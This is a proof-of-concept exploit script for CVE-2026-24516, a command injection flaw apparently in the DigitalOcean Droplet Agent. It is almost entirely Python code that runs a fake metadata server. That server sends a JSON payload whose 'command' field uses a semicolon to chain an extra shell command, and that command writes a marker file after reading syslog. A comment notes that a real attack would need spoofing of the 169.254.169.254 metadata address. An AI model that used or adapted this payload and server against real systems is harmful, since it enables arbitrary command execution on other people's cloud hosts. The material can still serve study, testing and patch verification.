CVE-2026-24516 DigitalOcean Droplet Agent 命令注入漏洞

import json from http.server import HTTPServer, BaseHTTPRequestHandler # Malicious payload structure targeting the vulnerability # The agent validates the 'artifact' key but fails to sanitize the 'command' key. payload = { "TroubleshootingAgent": { "Requesting": [ { # This artifact must be present in the validInvestigationArtifacts map "artifact": "kernel_logs", # The command injection occurs here. The agent executes this directly. # Using a semicolon to chain commands. "command": "cat /var/log/syslog; echo 'CVE-2026-24516 POC' > /tmp/pwned.txt" } ] } } class MetadataServer(BaseHTTPRequestHandler): """Simulates a malicious metadata service.""" def do_GET(self): if self.path == '/metadata/v1.json': self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps(payload).encode()) print("[+] Sent malicious payload to Droplet Agent") else: self.send_response(404) if __name__ == '__main__': # In a real attack, the attacker would need to spoof 169.254.169.254 # or intercept the traffic. This server is for demonstration. server = HTTPServer(('0.0.0.0', 80), MetadataServer) print("[*] Malicious Metadata Server running...") server.serve_forever()